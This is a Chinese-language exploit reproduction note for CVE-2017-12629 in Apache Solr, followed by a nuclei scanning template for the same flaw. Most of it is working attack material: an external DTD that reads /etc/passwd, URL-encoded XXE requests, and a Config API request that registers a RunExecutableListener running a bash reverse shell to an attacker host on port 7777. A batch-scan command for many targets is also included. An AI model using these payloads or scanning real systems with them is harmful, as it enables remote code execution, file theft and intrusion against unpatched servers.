漏洞复现 CVE-2017-12629 solr XXE/RCE

dtd:<!ENTITY % file SYSTEM "file:///etc/passwd"><!ENTITY % ent "<!ENTITY data SYSTEM ':%file;'>">python的http.server服务：python3 -m http.server 8888

1.请求dtd的xml脚本,需要在如上网址url编码：<?xml version="1.0" ?><!DOCTYPE root[<!ENTITY % ext SYSTEM "http://x.x.x.x:8888/do.dtd">%ext;%ent;]><r>&data;</r>2.发包：GET /solr/demo/select?&q=%3C%3Fxml%20version%3D%221.0%22%20%3F%3E%3C!DOCTYPE%20root%5B%3C!ENTITY%20%25%20ext%20SYSTEM%20%22http%3A%2F%2Fx.x.x.x%3A8888%2Fdo.dtd%22%3E%25ext%3B%25ent%3B%5D%3E%3Cr%3E%26data%3B%3C%2Fr%3E&wt=xml&defType=xmlparser HTTP/1.1Host: x.x.x.x:8983User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:101.0) Gecko/20100101 Firefox/101.0Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2Accept-Encoding: gzip, deflateDNT: 1Connection: closeUpgrade-Insecure-Requests: 1

数据包1，添加监听器：POST /solr/demo/config HTTP/1.1Host: x.x.x.x:8983Accept: */*Accept-Language: enUser-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)Connection: closeContent-Type:application/json  Content-Length: 186
{"add-listener":{"event":"postCommit","name":"newlistener7","class":"solr.RunExecutableListener","exe":"bash","dir":"/bin/","args":["-c","bash -i >& /dev/tcp/x.x.x.x/7777 0>&1"]}} 
数据包2，刷新配置：POST /solr/demo/update HTTP/1.1Host: x.x.x.x:8983Accept: */*Accept-Language: enUser-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)Connection: closeContent-Type: application/jsonContent-Length: 15
[{"id":"test"}]

批量验证命令：nuclei.exe -l subs.txt -t cves/2017/CVE-2017-12629.yaml


id: CVE-2017-12629
info:  name: Apache Solr <= 7.1 - XML Entity Injection  author: dwisiswant0  severity: critical  description: Apache Solr with Apache Lucene before 7.1 is susceptible to remote code execution by exploiting XXE in conjunction with use of a Config API add-listener command to reach the RunExecutableListener class. Elasticsearch, although it uses Lucene, is NOT vulnerable to this. Note that the XML external entity expansion vulnerability occurs in the XML Query Parser which is available, by default, for any query request with parameters deftype=xmlparser and can be exploited to upload malicious data to the /upload request handler or as Blind XXE using ftp wrapper in order to read arbitrary local files from the Solr server. Note also that the second vulnerability relates to remote code execution using the RunExecutableListener available on all affected versions of Solr.  reference:    - https://twitter.com/honoki/status/1298636315613974532    - https://github.com/vulhub/vulhub/tree/master/solr/CVE-2017-12629-XXE    - https://github.com/vulhub/vulhub/tree/master/solr/CVE-2017-12629-RCE    - https://nvd.nist.gov/vuln/detail/CVE-2017-12629  classification:    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H    cvss-score: 9.8    cve-id: CVE-2017-12629    cwe-id: CWE-611  tags: cve,cve2017,solr,apache,oast,xxe
requests:  - raw:      - |        GET /solr/admin/cores?wt=json HTTP/1.1        Host: {{Hostname}}
      - |        GET /solr/{{core}}/select?q=%3C%3Fxml%20version%3D%221.0%22%20encoding%3D%22UTF-8%22%3F%3E%0A%3C!DOCTYPE%20root%20%5B%0A%3C!ENTITY%20%25%20remote%20SYSTEM%20%22https%3A%2F%2F{{interactsh-url}}%2F%22%3E%0A%25remote%3B%5D%3E%0A%3Croot%2F%3E&wt=xml&defType=xmlparser HTTP/1.1        Host: {{Hostname}}
    matchers:      - type: word        part: interactsh_protocol  # Confirms the HTTP Interaction        words:          - "http"
    extractors:      - type: regex        internal: true        name: core        group: 1        regex:          - '"name":"(.*?)"'